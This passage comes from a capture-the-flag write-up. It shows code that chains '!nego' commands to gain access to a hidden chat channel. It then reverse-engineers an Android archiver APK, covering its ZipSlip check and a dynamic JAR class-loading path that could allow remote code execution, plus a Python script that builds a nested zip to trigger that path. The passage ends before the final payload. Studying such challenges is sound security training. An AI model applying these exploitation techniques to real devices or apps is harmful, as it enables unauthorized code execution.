    '5tohie4px3nmipga8maq7koqny', 'cw41xr7ydfnsjdfwqr9a7agtxr', 'dzkurn8put8udqwrij98u4s94w', 'g4tp7dewfjgziph3exxjzbrhwy',
88
    'h64obyji93n75dcwwy4xfarcno', 'hbo689966irppefi37oafo3tca', 'hypxe7jik7bjx881onw9of1nbe', 'tosbendf6idnpc7egyw5wfau9h',
89
    'w5sps8fbc7n1jk8bt88fkxs3ee',
90
    'w5zjeekxpjfa3kzpzpw4mmzp1y', 'o91awst7w3fidn58ry4cp3r4xh', 'iyyjrrh6i7d37dkk5tg6wsupnw'],
91

92
    "channel50462" : ['bh87wmq4qfdmdbafhohpy6mq6h', 'o91awst7w3fidn58ry4cp3r4xh', '1xk1z5t3b3ggzeg4xrq3dyiyky',
93
    'w5zjeekxpjfa3kzpzpw4mmzp1y', '5tohie4px3nmipga8maq7koqny', '6k4nf8umejr7zfqfityfhtn9tw', 'cw41xr7ydfnsjdfwqr9a7agtxr',
94
    'g4tp7dewfjgziph3exxjzbrhwy', 'h64obyji93n75dcwwy4xfarcno', 'hbo689966irppefi37oafo3tca', 'hypxe7jik7bjx881onw9of1nbe',
95
    'tdzdyadzhfdt3nqto9dan3xtia', 'tosbendf6idnpc7egyw5wfau9h',
96
    'w5sps8fbc7n1jk8bt88fkxs3ee', 'iyyjrrh6i7d37dkk5tg6wsupnw'],
97

98
    "channel52097" : ['o91awst7w3fidn58ry4cp3r4xh', '1w36wtpq4tfhiqe7xdm6igx84o', '1xk1z5t3b3ggzeg4xrq3dyiyky', '5tohie4px3nmipga8maq7koqny',
99
    '6k4nf8umejr7zfqfityfhtn9tw', 'cw41xr7ydfnsjdfwqr9a7agtxr', 'bh87wmq4qfdmdbafhohpy6mq6h', 'g4tp7dewfjgziph3exxjzbrhwy',
100
    'h64obyji93n75dcwwy4xfarcno', 'hbo689966irppefi37oafo3tca', 'tdzdyadzhfdt3nqto9dan3xtia', 'dzkurn8put8udqwrij98u4s94w',
101
    'tosbendf6idnpc7egyw5wfau9h', 'w5sps8fbc7n1jk8bt88fkxs3ee', 'iyyjrrh6i7d37dkk5tg6wsupnw'],
102

103
    "channel52696" : ['g4tp7dewfjgziph3exxjzbrhwy', '1w36wtpq4tfhiqe7xdm6igx84o', '5tohie4px3nmipga8maq7koqny',
104
    '6k4nf8umejr7zfqfityfhtn9tw', 'cw41xr7ydfnsjdfwqr9a7agtxr', 'dzkurn8put8udqwrij98u4s94w', 'h64obyji93n75dcwwy4xfarcno',
105
    'tdzdyadzhfdt3nqto9dan3xtia', 'w5sps8fbc7n1jk8bt88fkxs3ee', '1xk1z5t3b3ggzeg4xrq3dyiyky', 'iyyjrrh6i7d37dkk5tg6wsupnw'],
106

107
    "channel52797" : ['iyyjrrh6i7d37dkk5tg6wsupnw', 'w5zjeekxpjfa3kzpzpw4mmzp1y', '1w36wtpq4tfhiqe7xdm6igx84o', '5tohie4px3nmipga8maq7koqny',
108
    '6k4nf8umejr7zfqfityfhtn9tw', 'cw41xr7ydfnsjdfwqr9a7agtxr', 'dzkurn8put8udqwrij98u4s94w', 'g4tp7dewfjgziph3exxjzbrhwy',
109
    'h64obyji93n75dcwwy4xfarcno', 'hypxe7jik7bjx881onw9of1nbe', 'tdzdyadzhfdt3nqto9dan3xtia',
110
    'tosbendf6idnpc7egyw5wfau9h', 'w5sps8fbc7n1jk8bt88fkxs3ee', 'bh87wmq4qfdmdbafhohpy6mq6h', 'o91awst7w3fidn58ry4cp3r4xh'],
111

112
    "channel60625" : ['cw41xr7ydfnsjdfwqr9a7agtxr', '1w36wtpq4tfhiqe7xdm6igx84o', '5tohie4px3nmipga8maq7koqny',
113
    '6k4nf8umejr7zfqfityfhtn9tw', 'hbo689966irppefi37oafo3tca', 'hypxe7jik7bjx881onw9of1nbe', 'w5sps8fbc7n1jk8bt88fkxs3ee',
114
    'w5zjeekxpjfa3kzpzpw4mmzp1y', 'bh87wmq4qfdmdbafhohpy6mq6h', 'dzkurn8put8udqwrij98u4s94w', 'g4tp7dewfjgziph3exxjzbrhwy',
115
    'h64obyji93n75dcwwy4xfarcno', 'tdzdyadzhfdt3nqto9dan3xtia', '1xk1z5t3b3ggzeg4xrq3dyiyky', 'iyyjrrh6i7d37dkk5tg6wsupnw'],
116

117
    "channel64675" : ['5tohie4px3nmipga8maq7koqny', '6k4nf8umejr7zfqfityfhtn9tw', '1w36wtpq4tfhiqe7xdm6igx84o', 'cw41xr7ydfnsjdfwqr9a7agtxr',
118
    'dzkurn8put8udqwrij98u4s94w', 'g4tp7dewfjgziph3exxjzbrhwy', 'h64obyji93n75dcwwy4xfarcno', 'tosbendf6idnpc7egyw5wfau9h',
119
    'w5sps8fbc7n1jk8bt88fkxs3ee', 'hbo689966irppefi37oafo3tca', 'o91awst7w3fidn58ry4cp3r4xh', 'iyyjrrh6i7d37dkk5tg6wsupnw'],
120

121
    "channel64922" : ['1w36wtpq4tfhiqe7xdm6igx84o', '5tohie4px3nmipga8maq7koqny', '6k4nf8umejr7zfqfityfhtn9tw',
122
    'cw41xr7ydfnsjdfwqr9a7agtxr', 'dzkurn8put8udqwrij98u4s94w', 'g4tp7dewfjgziph3exxjzbrhwy', 'h64obyji93n75dcwwy4xfarcno',
123
    'hypxe7jik7bjx881onw9of1nbe', 'tdzdyadzhfdt3nqto9dan3xtia', 'tosbendf6idnpc7egyw5wfau9h', 'w5sps8fbc7n1jk8bt88fkxs3ee',
124
    'w5zjeekxpjfa3kzpzpw4mmzp1y', 'hbo689966irppefi37oafo3tca', 'o91awst7w3fidn58ry4cp3r4xh', 'iyyjrrh6i7d37dkk5tg6wsupnw'],
125

126
    "channel69244" : ['dzkurn8put8udqwrij98u4s94w', 'iyyjrrh6i7d37dkk5tg6wsupnw', 'hbo689966irppefi37oafo3tca', '1w36wtpq4tfhiqe7xdm6igx84o',
127
    '5tohie4px3nmipga8maq7koqny', '6k4nf8umejr7zfqfityfhtn9tw', 'cw41xr7ydfnsjdfwqr9a7agtxr', 'g4tp7dewfjgziph3exxjzbrhwy',
128
    'h64obyji93n75dcwwy4xfarcno', 'hypxe7jik7bjx881onw9of1nbe', 'tdzdyadzhfdt3nqto9dan3xtia',
129
    'tosbendf6idnpc7egyw5wfau9h', 'w5sps8fbc7n1jk8bt88fkxs3ee', 'w5zjeekxpjfa3kzpzpw4mmzp1y', '1xk1z5t3b3ggzeg4xrq3dyiyky'],
130

131
    "channel70588" : ['cw41xr7ydfnsjdfwqr9a7agtxr', '1w36wtpq4tfhiqe7xdm6igx84o', '6k4nf8umejr7zfqfityfhtn9tw',
132
    'dzkurn8put8udqwrij98u4s94w', 'g4tp7dewfjgziph3exxjzbrhwy', 'h64obyji93n75dcwwy4xfarcno', 'hbo689966irppefi37oafo3tca',
133
    'hypxe7jik7bjx881onw9of1nbe', 'tdzdyadzhfdt3nqto9dan3xtia', 'tosbendf6idnpc7egyw5wfau9h', 'w5sps8fbc7n1jk8bt88fkxs3ee',
134
    'w5zjeekxpjfa3kzpzpw4mmzp1y', 'bh87wmq4qfdmdbafhohpy6mq6h', 'o91awst7w3fidn58ry4cp3r4xh', 'iyyjrrh6i7d37dkk5tg6wsupnw'],
135

136
    "channel74850" : ['cw41xr7ydfnsjdfwqr9a7agtxr', 'dzkurn8put8udqwrij98u4s94w', 'hbo689966irppefi37oafo3tca',
137
    'hypxe7jik7bjx881onw9of1nbe', 'tdzdyadzhfdt3nqto9dan3xtia', 'w5sps8fbc7n1jk8bt88fkxs3ee', 'bh87wmq4qfdmdbafhohpy6mq6h',
138
    'o91awst7w3fidn58ry4cp3r4xh', 'h64obyji93n75dcwwy4xfarcno', '1w36wtpq4tfhiqe7xdm6igx84o', '1xk1z5t3b3ggzeg4xrq3dyiyky',
139
    '5tohie4px3nmipga8maq7koqny', '6k4nf8umejr7zfqfityfhtn9tw', 'w5zjeekxpjfa3kzpzpw4mmzp1y', 'iyyjrrh6i7d37dkk5tg6wsupnw'],
140

141
    "channel81167" : ['1xk1z5t3b3ggzeg4xrq3dyiyky', '5tohie4px3nmipga8maq7koqny', '6k4nf8umejr7zfqfityfhtn9tw', 'cw41xr7ydfnsjdfwqr9a7agtxr',
142
    'dzkurn8put8udqwrij98u4s94w', 'g4tp7dewfjgziph3exxjzbrhwy', 'h64obyji93n75dcwwy4xfarcno', 'hbo689966irppefi37oafo3tca',
143
    'hypxe7jik7bjx881onw9of1nbe', 'tosbendf6idnpc7egyw5wfau9h', 'w5sps8fbc7n1jk8bt88fkxs3ee',
144
    'w5zjeekxpjfa3kzpzpw4mmzp1y', 'bh87wmq4qfdmdbafhohpy6mq6h', 'o91awst7w3fidn58ry4cp3r4xh', 'iyyjrrh6i7d37dkk5tg6wsupnw'],
145

146
    "channel92614" : ['bh87wmq4qfdmdbafhohpy6mq6h', 'o91awst7w3fidn58ry4cp3r4xh', '1w36wtpq4tfhiqe7xdm6igx84o',
147
    '1xk1z5t3b3ggzeg4xrq3dyiyky', '5tohie4px3nmipga8maq7koqny', 'cw41xr7ydfnsjdfwqr9a7agtxr', 'dzkurn8put8udqwrij98u4s94w',
148
    'g4tp7dewfjgziph3exxjzbrhwy', 'h64obyji93n75dcwwy4xfarcno', 'hbo689966irppefi37oafo3tca', 'hypxe7jik7bjx881onw9of1nbe',
149
    'tdzdyadzhfdt3nqto9dan3xtia', 'tosbendf6idnpc7egyw5wfau9h', 'w5sps8fbc7n1jk8bt88fkxs3ee', 'iyyjrrh6i7d37dkk5tg6wsupnw']
150

151
}
152

153
def pick_nego_users(current_channel, target_channel):
154
    current_set = set(channels[current_channel])
155
    target_set = set(channels[target_channel])
156

157
    # Mods in current channel but NOT in target channel
158
    mod_candidates = [u for u in current_set if users[u].startswith("mod_") and u not in target_set and u != "rwagbspan7rxppfgrxjbcz4ore"]
159
    if not mod_candidates:
160
        raise ValueError("No mod in current channel outside target channel")
161

162
    mod = mod_candidates[0]  # pick the first mod
163

164
    # Non-mod users in current channel but NOT in target channel
165
    other_candidates = [u for u in current_set if not users[u].startswith("mod_") and u not in target_set]
166

167
    if len(other_candidates) < 2:
168
        raise ValueError("Not enough non-mod users in current channel outside target channel")
169

170
    others = other_candidates[:2]
171

172

173
    return [(users[mod], mod), (users[others[0]], others[0]), (users[others[1]], others[1])]
174

175
def find_path_to_target(start_channel, target):
176
    visited = set()  # Keep track of visited channels
177
    queue = [(start_channel, [])]  # channel, path of (users added, channel) tuples
178

179
    while queue:
180
        current_channel, path = queue.pop(0)
181
        if current_channel in visited:
182
            continue
183
        visited.add(current_channel)
184

185
        # If the target user is already in this channel, we found the path
186
        if target in channels[current_channel]:
187
            print(f"Reached target in channel: {current_channel}")
188
            return path + [([], current_channel)]
189

190
        # Explore all other channels as next steps
191
        for next_channel in channels:
192
            if next_channel not in visited:
193
                try:
194
                    # Pick users to negotiate from current_channel to next_channel
195
                    nego_users = pick_nego_users(current_channel, next_channel)
196
                except ValueError:
197
                    # No valid users to pick for this pair of channels
198
                    continue
199

200
                # Add these users to the next_channel (simulate negotiation)
201
                added_user_ids = [u[1] for u in nego_users]
202
                channels[next_channel].extend(added_user_ids)
203

204
                # Save path step
205
                path_step = (added_user_ids, next_channel)
206
                new_path = path + [path_step]
207

208
                queue.append((next_channel, new_path))
209

210
    print("No path found to target user.")
211
    return None
212

213
def print_nego_path(path):
214
    for added_users, channel in path:
215
        if not added_users:
216
            print(f"# Reached channel {channel} with target user!")
217
            continue
218

219
        # Separate mod from non-mods
220
        mod = [u for u in added_users if users[u].startswith("mod_")][0]
221
        non_mods = [u for u in added_users if u != mod]
222

223
        # Map IDs to usernames
224
        mod_name = users[mod]
225
        non_mod_names = [users[nm] for nm in non_mods]
226

227
        # Format the !nego command
228
        nego_command = f"!nego {channel} {non_mod_names[0]} {non_mod_names[1]} {mod_name}"
229
        print(nego_command)
230

231

232
def main():
233
    TARGET_USER = "rnqpjyd5mtnszfgpzkjguu18zo"
234

235
    print("Starting from the Public channel to reach the target user...\n")
236
    # Run the path finder from "public"
237
    path = find_path_to_target("public", TARGET_USER)
238

239
    # Pretty-print the path and users added
240
    if path:
241
        print_nego_path(path)
242

243

244
if __name__ == "__main__":
245

246
    main()

Running this gets us:

1
Starting from the Public channel to reach the target user...
2

3
Reached target in channel: channel33768
4
!nego channel52696 grumpyrhino73 euphoricraisins54 mod_needyboa0
5
!nego channel64675 grumpyrhino73 needypup16 mod_excitedburritos53
6
!nego channel48553 wingedmandrill37 needypup16 mod_amazedcamel5
7
!nego channel33768 wingedmandrill37 ardentpup59 mod_gloomyhyena90
8
# Reached channel channel33768 with target user!

Well, time to see if this works

Starting with the first command, running it in Public

So far so good. Ignore the first error message, it did indeed add us to this channel. Also ignore the “Created channel…” message, it didn’t actually create a new channel, it added us to the already existing channel52696. That’s just the default message it provides, but nontheless shows us that the command succeeded.

Now from within channel52696, we run the second command

Beautiful. Now from within channel64675, we run the third command

Nice. Now, for the moment of truth, from channel48553 we run the last command

With that, we indeed are in a channel with admin_insecureapricots73 and can see some of his communications with some of the other bad actors

Submitting

1
!nego channel52696 grumpyrhino73 euphoricraisins54 mod_needyboa0
2
!nego channel64675 grumpyrhino73 needypup16 mod_excitedburritos53
3
!nego channel48553 wingedmandrill37 needypup16 mod_amazedcamel5
4
!nego channel33768 wingedmandrill37 ardentpup59 mod_gloomyhyena90

solves this task!

Response:

Awesome job! We can now access the channel and are one step closer to removing this threat.

Task 7 - Finale - (Vulnerability Research, Exploitation)

Now that we have access to the hidden channel the adversary is using, our military counterparts want to act quickly to destroy the adversary’s capacity to continue with their attack against our military networks.

Analysts have been quickly scrutinizing the data from the privileged channel. They conclude that the adversary has downloaded a custom app to archive all messages sent in the channel locally to their phone. They have also surmised the adversary is running a recent version of Android on a Google Pixel phone. This is the opportunity we have been waiting for! If we can devise a way to exploit on to the adversary’s device we will have the advantage.

Another team has retrieved the custom application APK file for you to analyze.

Downloads: Custom App (mmarchiver.apk), Licenses (licenses.txt)

Prompt: Submit a file to be posted to the Mattermost Channel that will be processed by the app and exploits the device. Be careful, we might only be able to do this once!

Solve:

Here we go, the final task. Let’s go get that challenge coin.

Again, getting this all setup was pretty annoying

Setup

Firstly, you need the Mattermost setup that you had running before for Task 6

Now, to run the apk, you can use Android Studio, or at least, that’s what I did

The prompt mentions that the most recent version of Android was being used, so I used a Pixel 2 running API version 36 for the emulator. After telling Android Studio where the apk is, it’ll start up the emulator, and you can navigate to the app from the emulator

Now we can really start

I will note though that if you are using WSL like I am there’s something a little extra you have to do. I was running the Mattermost instance from WSL but running Android Studio from Windows. In order to have the app running on Windows connect to the Mattermost instance in WSL, use the below command to basically forward the port on WSL to your Windows machine

1
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8065 connectaddress=172.30.48.197 connectport=8065

and then connect in the app using the IP 10.0.2.2 on port 8065, since 10.0.2.2 is Android Studio’s address for the machine that is running the emulator, which in our case, is our Windows host

Understanding the App

To reverse engineer the apk, we will use jadx-gui

There is a lot to go through here since the App has a lot of files, so I’ll just skip to the important parts

Firstly, we can find a class named FileDownloadWorker, and looking at its constructor, appears to set values, but an interesting one is that it sets up an instance of a zipArchiver class

1
public FileDownloadWorker(Context ctx, WorkerParameters params, PreferencesRepository preferencesRepository, MmServerRepository mmServerRepository, ArchiveRepository archiveRepository, NotificationsRepository notificationsRepository, ZipArchiver zipArchiver) {
2
        super(ctx, params);
3
        r.e(ctx, "ctx");
4
        r.e(params, "params");
5
        r.e(preferencesRepository, "preferencesRepository");
6
        r.e(mmServerRepository, "mmServerRepository");
7
        r.e(archiveRepository, "archiveRepository");
8
        r.e(notificationsRepository, "notificationsRepository");
9
        r.e(zipArchiver, "zipArchiver");
10
        this.preferencesRepository = preferencesRepository;
11
        this.mmServerRepository = mmServerRepository;
12
        this.archiveRepository = archiveRepository;
13
        this.notificationsRepository = notificationsRepository;
14
        this.zipArchiver = zipArchiver;
15
        this.TAG = E.a(FileDownloadWorker.class).d();
16
        this.maxAttempts = 5;
17
    }

Android rev time

It appears that all of the code revolving around the Zip logic is apart of the Q3 package

InQ3/a (a lot of the class and package names are abstracted), we can find the ZipSlip check

1
for (ZipEntry nextEntry = zipInputStream.getNextEntry(); nextEntry != null; nextEntry = zipInputStream.getNextEntry()) {
2
    logger.debug("processing zip entry {}", nextEntry);
3
    File file = new File(targetPath, nextEntry.getName());
4
    String canonicalPath = file.getCanonicalPath();
5
    r.d(canonicalPath, "getCanonicalPath(...)");
6
    if (t.e0(canonicalPath, targetPath.getCanonicalPath() + File.separator, false)) {
7
        if (nextEntry.isDirectory()) {
8
            if (!file.isDirectory() && !file.mkdirs()) {
9
                throw new ZipException("failed to create entry directory " + file);
10
            }
11
        } else {
12
            File parentFile = file.getParentFile();
13
            if (parentFile != null && !parentFile.isDirectory() && !parentFile.mkdirs()) {
14
                throw new IOException("failed to create directory " + parentFile);
15
            }
16
            FileOutputStream fileOutputStream = new FileOutputStream(file);
17
            try {
18
                m0.c.v(zipInputStream, fileOutputStream);
19
                fileOutputStream.close();
20
            } finally {
21
            }
22
        }
23
        outFile.addFile(file);
24
    } else {
25
        throw new ZipException("bad file name " + file);
26
    }
27
}

The main check is here

1
String canonicalPath = file.getCanonicalPath();
2
r.d(canonicalPath, "getCanonicalPath(...)");
3
if (t.e0(canonicalPath, targetPath.getCanonicalPath() + File.separator, false)) {
4
    ...
5
}

This canonicalizes the output path, resolving ../ and normalizes separators. It then compares it against the canonical target directory + separator. If it doesn’t start with the target directory, it knows a ZipSlip is occurring. The target directory being /data/user/0/com.badguy.mmarchiver/cache/zippier/extract/ based off of our testing

So having a file named ../exploited would have the path be

1
/data/user/0/com.badguy.mmarchiver/cache/zippier/extract/../exploited

or in other words

1
/data/user/0/com.badguy.mmarchiver/cache/zippier/exploited

which does not start with /data/user/0/com.badguy.mmarchiver/cache/zippier/extract/, and fails the ZipSlip check

Well, we’re gonna have to put the ZipSlip on hold for a bit, and see what else is interesting in the disassembly

Identifying RCE

Again in the Q3 package, if we look at the d class, we find something really interesting, specifically in the function named a

1
public static void a(d dVar, File file) {
2
    ClassLoader _init_$lambda$1;
3
    LinkedHashMap linkedHashMap = dVar.f4241e;
4
    Logger logger = dVar.f4238b;
5
    j jVar = dVar.f4237a;
6
    logger.debug("attempting format load from {}", file);
7
    file.setWritable(false, false);
8
    try {
9
        String absolutePath = file.getAbsolutePath();
10
        r.d(absolutePath, "getAbsolutePath(...)");
11
        _init_$lambda$1 = ZipArchiver._init_$lambda$1((ZipArchiver) jVar.f1105e, absolutePath);
12
        Object newInstance = _init_$lambda$1.loadClass(b4.c.a(file.getName())).getDeclaredConstructor(null).newInstance(null);
13
        r.c(newInstance, "null cannot be cast to non-null type net.axolotl.zippier.ZipFormat");
14
        ZipFormat zipFormat = (ZipFormat) newInstance;
15
        logger.info("loaded format from " + zipFormat);
16
        linkedHashMap.put(zipFormat.getExtension(), zipFormat);
17
    } catch (Throwable th) {
18
        logger.error("failed to load format from " + file + ": " + th);
19
        file.delete();
20
    }
21
}

This function dynamically loads and instantiates a class from a JAR file using a custom ClassLoader

First it returns a ClassLoader based on the passed in JAR file, with the JAR file being referenced by absolutePath, which it gets from the passed in File file parameter

1
_init_$lambda$1 = ZipArchiver._init_$lambda$1((ZipArchiver) jVar.f1105e, absolutePath);

Then in this one line, a class name is derived from the file name and that class is loaded and instantiated

1
Object newInstance = _init_$lambda$1.loadClass(b4.c.a(file.getName())).getDeclaredConstructor(null).newInstance(null);

If we look at the a() function, we can see that this is basename extraction

1
public static String a(String str) {
2
    String substring;
3
    if (str == null) {
4
        substring = null;
5
    } else if (str.indexOf(0) < 0) {
6
        substring = str.substring(Math.max(str.lastIndexOf(47), str.lastIndexOf(92)) + 1);
7
    } else {
8
        throw new IllegalArgumentException("Null character present in file/path name. There are no known legitimate use cases for such data, but several injection attacks may use it");
9
    }
10
    if (substring == null) {
11
        return null;
12
    }
13
    if (substring.indexOf(0) < 0) {
14
        int b5 = b(substring);
15
        if (b5 == -1) {
16
            return substring;
17
        }
18
        return substring.substring(0, b5);
19
    }
20
    throw new IllegalArgumentException("Null character present in file/path name. There are no known legitimate use cases for such data, but several injection attacks may use it");
21
}

So the name of the class is basically the name of the JAR file, without the .jar extension

The type is also enforced here

1
ZipFormat zipFormat = (ZipFormat) newInstance;

So the loaded class must implement or extend net.axolotl.zippier.ZipFormat which we can tell based on the error checking

1
r.c(newInstance, "null cannot be cast to non-null type net.axolotl.zippier.ZipFormat");

This looks to be super interesting, and can be a potential RCE. It loads a JAR file and instantiates a class. If we can control what JAR is loaded, we can have a class that executes code on instantiation (basically has code that runs or calls a function in the constructor or in a static block), and can essentially run whatever we want

So our next step is to find where this Q3.d.a function is called, and see if we can somehow control what JAR file is passed in

We can find the code in a separate package, D3, in the j class

The class is pretty long, but there’s a switch case statement, with case 2 being specifically important

1
case 2:
2
    Q3.d dVar = (Q3.d) this.f1105e;
3
    String it2 = (String) obj;
4
    kotlin.jvm.internal.r.e(it2, "it");
5
    dVar.getClass();
6
    Locale locale = Locale.ROOT;
7
    String lowerCase = it2.toLowerCase(locale);
8
    kotlin.jvm.internal.r.d(lowerCase, "toLowerCase(...)");
9
    Logger logger = dVar.f4238b;
10
    logger.debug("getting format for ".concat(lowerCase));
11
    LinkedHashMap linkedHashMap = dVar.f4241e;
12
    if (linkedHashMap.containsKey(lowerCase)) {
13
        return (ZipFormat) linkedHashMap.get(lowerCase);
14
    }
15
    ArrayList arrayList = dVar.f4242f;
16
    String lowerCase2 = lowerCase.toLowerCase(locale);
17
    kotlin.jvm.internal.r.d(lowerCase2, "toLowerCase(...)");
18
    InputStream inputStream = null;
19
    if (!arrayList.contains(lowerCase2)) {
20
        return null;
21
    }
22
    File file = new File(dVar.f4240d, dVar.f4243g + "." + E.a(ZipFormat.class).d() + "_" + lowerCase + ".jar");
23
    if (file.exists()) {
24
        Q3.d.a(dVar, file);
25
    } else {
26
        try {
27
            Q3.e eVar = dVar.f4244h;
28
            if (eVar != null) {
29
                logger.debug("attempting download for format ".concat(lowerCase));
30
                response = (Response) B.w(C0751i.f8740d, new Q3.c(eVar, lowerCase, null));
31
            } else {
32
                response = null;
33
            }
34
            if (response != null && response.isSuccessful()) {
35
                ResponseBody responseBody = (ResponseBody) response.body();
36
                if (responseBody != null) {
37
                    inputStream = responseBody.byteStream();
38
                }
39
                if (inputStream != null) {
40
                    try {
41
                        FileOutputStream fileOutputStream = new FileOutputStream(file);
42
                        try {
43
                            m0.c.v(inputStream, fileOutputStream);
44
                            fileOutputStream.close();
45
                            logger.info("format written to " + file);
46
                            inputStream.close();
47
                        } finally {
48
                        }
49
                    } catch (Throwable th) {
50
                        try {
51
                            throw th;
52
                        } catch (Throwable th2) {
53
                            n2.f.l(inputStream, th);
54
                            throw th2;
55
                        }
56
                    }
57
                }
58
                Q3.d.a(dVar, file);
59
            }
60
        } catch (Throwable th3) {
61
            logger.error("exception during format download: " + th3);
62
        }
63
    }
64
    return (ZipFormat) linkedHashMap.get(lowerCase);

In summary, this code, given a supported archive format (like 7z or tar for example. We’ll go over which specific ones later), returns a ZipFormat instance, which implements the logic for handling that archive format. If it’s not already loaded, it’ll try to load it from disk. If it’s not on disk, it’ll try to download it

First it gets what the format type is

1
Q3.d dVar = (Q3.d) this.f1105e;
2
String it2 = (String) obj;
3
kotlin.jvm.internal.r.e(it2, "it");
4
dVar.getClass();
5
Locale locale = Locale.ROOT;
6
String lowerCase = it2.toLowerCase(locale);
7
kotlin.jvm.internal.r.d(lowerCase, "toLowerCase(...)");
8
Logger logger = dVar.f4238b;
9
logger.debug("getting format for ".concat(lowerCase));

It then checks to see if the zipFormat class implementation is already loaded, and also checks to see if the format is supported (oddly it checks if it’s supported after checking if it’s already loaded, but whatever)

1
LinkedHashMap linkedHashMap = dVar.f4241e;
2
if (linkedHashMap.containsKey(lowerCase)) {
3
    return (ZipFormat) linkedHashMap.get(lowerCase);
4
}
5
ArrayList arrayList = dVar.f4242f;
6
String lowerCase2 = lowerCase.toLowerCase(locale);
7
kotlin.jvm.internal.r.d(lowerCase2, "toLowerCase(...)");
8
InputStream inputStream = null;
9
if (!arrayList.contains(lowerCase2)) {
10
    return null;
11
}

It then builds the expected filename of the JAR and passes it into the Q3.d.a function we looked at earlier in order to load the class

1
File file = new File(dVar.f4240d, dVar.f4243g + "." + E.a(ZipFormat.class).d() + "_" + lowerCase + ".jar");
2
if (file.exists()) {
3
    Q3.d.a(dVar, file);
4
}

This code essentially tells us what the name of the JAR files the app is looking for are

dVar.f4240d is the directory that these JARs are stored in

dVar.f4243g is then some sort of prefix.

We can actually see both of these get set in the constructor of Q3/d

1
File file = new File(str == null ? System.getProperty("java.io.tmpdir") : str, "zippier");
2

3
...
4
...
5
other code
6
...
7
...
8

9
String optString = jSONObject.optString("downloads", "downloads");
10
r.d(optString, "optString(...)");
11
File file3 = new File(optString);
12
file3 = file3.isAbsolute() ? file3 : new File(file, file3.getName());
13
try {
14
    if (!file3.exists() && !file3.mkdirs()) {
15
        throw new SecurityException("mkdirs() returned null");
16
    }
17
    this.f4240d = file3;
18
    logger.info("created format download directory " + file3);
19
} catch (SecurityException e5) {
20
    logger.error("failed to create format download directory " + file3 + ": " + e5);
21
}
22
...
23
...
24
other code
25
...
26
...
27

28
this.f4243g = jSONObject.optString("classpath", "net.axolotl.zippier");

It checks for the downloads key in the JSON file for the zipArchiver class. If no value is set, it defaults to downloads. Spoiler alert, we know that the downloads key has the value formats. It also checks for the classpath key. If no value is set, it defaults to net.axolotl.zippier. Another spoiler alert, the classpath key is indeed nonexistent

So dVar.f4240d is zippier/formats and classpath is net.axolotl.zippier

Then E.a(ZipFormat.class).d() returns the simple class name, which is ZipFormat. This can be seen when looking at the code for that d() function

1
public final String d() {
2
    String g5;
3
    Class jClass = this.f8757d;
4
    r.e(jClass, "jClass");
5
    String str = null;
6
    if (jClass.isAnonymousClass()) {
7
        return null;
8
    }
9
    if (jClass.isLocalClass()) {
10
        String simpleName = jClass.getSimpleName();
11
        Method enclosingMethod = jClass.getEnclosingMethod();
12
        if (enclosingMethod != null) {
13
            return D3.m.C0(simpleName, enclosingMethod.getName() + '$');
14
        }
15
        Constructor<?> enclosingConstructor = jClass.getEnclosingConstructor();
16
        if (enclosingConstructor != null) {
17
            return D3.m.C0(simpleName, enclosingConstructor.getName() + '$');
18
        }
19
        return D3.m.B0('$', simpleName, simpleName);
20
    }
21
    if (jClass.isArray()) {
22
        Class<?> componentType = jClass.getComponentType();
23
        if (componentType.isPrimitive() && (g5 = I.g(componentType.getName())) != null) {
24
            str = g5.concat("Array");
25
        }
26
        if (str == null) {
27
            return "Array";
28
        }
29
        return str;
30
    }
31
    String g6 = I.g(jClass.getName());
32
    if (g6 == null) {
33
        return jClass.getSimpleName();
34
    }
35
    return g6;
36
}

The class isn’t anonymous, local, or an array, so we end at this part near the end

1
String g6 = I.g(jClass.getName());
2
if (g6 == null) {
3
    return jClass.getSimpleName();
4
}

1
return jClass.getSimpleName();

would just return ZipFormat

lowerCase is just the format type in lowercase. So the full path of the JAR it looks for is

zippier/formats/net.axolotl.zippier.ZipFormat_[format type].jar

Moving on, if the JAR does not exist on disk it tries to download it, which is basically what the rest of the code is

1
else {
2
    try {
3
        Q3.e eVar = dVar.f4244h;
4
        if (eVar != null) {
5
            logger.debug("attempting download for format ".concat(lowerCase));
6
            response = (Response) B.w(C0751i.f8740d, new Q3.c(eVar, lowerCase, null));
7
        }
8
    ...
9
    ...
10
    rest of download logic
11
    ...
12
    ...

An important note is that the location it attempts to download the new JAR into is the same location that it tries to check for the existing JAR in

The actual downloading itself doesn’t lead anywhere really though

Looking at the assets/zippier.json file we can look at in jadx-gui, we can see what kind of format types the app expects, where it tries to download the JARs from if it’s not on disk, and if the classpath key exists.

1
{
2
  "formats": ["7z", "xz", "lzma", "bzip2", "gz", "tar"],
3
  "downloads": "formats",
4
  "url": "https://dl.badguy.local/zippier"
5
}

From this, we can confirm that there is no classpath key, so the JAR file prefix is indeed net.axolotl.zippier. This also confirms the formats directory being the directory the JARs are in. This all confirms that the JAR file paths are in the format

zippier/formats/net.axolotl.zippier.ZipFormat_[format type].jar

Do note though that all relative paths are resolved relative to the app’s cache directory on Android, which is /data/user/0/com.badguy.mmarchiver/cache/ in our case as we saw in the logs from our earlier testing

Additionally, based on the class loading logic we saw earlier, the name of the class from this JAR file that the app will try to instantiate is

net.axolotl.zippier.ZipFormat_[format type]

The URL it tries to download JARs from is "https://dl.badguy.local/zippier", which is not of much use to us

However, the supported formats are "7z", "xz", "lzma", "bzip2", "gz", "tar", which is important

We can run some tests to confirm some of this though

Let’s try to trigger this JAR file format loading logic. We’ll tweak our Python zip in a zip code to also include a dummy 7z file since we saw that that was one of the supported formats

1
import zipfile
2
import io
3

4
# Create inner zip in memory
5
inner_buffer = io.BytesIO()
6
with zipfile.ZipFile(inner_buffer, 'w', zipfile.ZIP_DEFLATED) as inner_zip:
7
    inner_zip.writestr('inside.txt', 'Hello from inner zip')
8
    inner_zip.writestr('empty.7z', b'')  # empty 7z file to just trip the JAR loading logic
9

10

11
inner_buffer.seek(0)
12

13
# Create outer zip and write inner zip as a file
14
with zipfile.ZipFile('outside.zip', 'w', zipfile.ZIP_DEFLATED) as outer_zip:
15
    outer_zip.writestr('inside.zip', inner_buffer.read())

Uploading this and filtering the logs by the word “format”, we see the below

This shows us that the full location of the JAR files on the Android OS is /data/user/0/com.badguy.mmarchiver/cache/zippier/formats/, which confirms us piecing together the the directory was /zippier/formats/, since /data/user/0/com.badguy.mmarchiver/cache/ is just where data for the app is stored

It also does indeed show that the 7z format tries to get processed. We can infer from these logs that the 7z JAR does not exist already on disk, so the app attempts to download it

